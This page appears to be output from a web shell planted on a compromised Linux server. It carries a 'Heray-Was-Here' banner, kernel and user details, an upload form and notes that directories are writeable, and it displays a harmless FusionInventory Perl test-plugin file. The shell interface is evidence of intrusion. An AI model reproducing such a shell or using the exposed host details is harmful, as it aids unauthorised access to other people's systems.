Heray-Was-Here
Server : Apache
System : Linux vps103298.mylogin.co 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : calvet ( 273824)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /proc/thread-self/root/usr/share/fusioninventory/lib/FusionInventory/Agent/HTTP/Server/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/thread-self/root/usr/share/fusioninventory/lib/FusionInventory/Agent/HTTP/Server/Test.pm
package FusionInventory::Agent::HTTP::Server::Test;

use strict;
use warnings;

use base "FusionInventory::Agent::HTTP::Server::Plugin";

sub urlMatch {
    my ($self, $path) = @_;

    $self->debug("Matching on $path ?");

    if ($path =~ m{^/test/([\w\d/-]+)?$}) {
        $self->{test} = $1;
        $self->debug2("Found matching on $path");
        return 1;
    }

    return 0;
}

sub handle {
    my ($self, $client, $request, $clientIp) = @_;

    $self->info("Test request from $clientIp: /test/".$self->{test}." (config: ".($self->{configtest}||"none").")");

    delete $self->{test};

    $client->send_response(200);
    return 200;
}

sub log_prefix {
    return "[server test plugin] ";
}

sub config_file {
    return "server-test-plugin.cfg";
}

sub defaults {
    return {
        disabled    => "yes",
        configtest  => "test",
        port        => 0,
    };
}

1;
__END__

=head1 NAME

FusionInventory::Agent::HTTP::Server::Test - An embedded HTTP server plugin as
test and sample server plugin

=head1 DESCRIPTION

This is a server plugin to listen for test requests.

It listens on port 62354 by default.

Any requests matching the following is accepted and returns a 200 HTTP code:

=over

=item /test/*

=back

Hry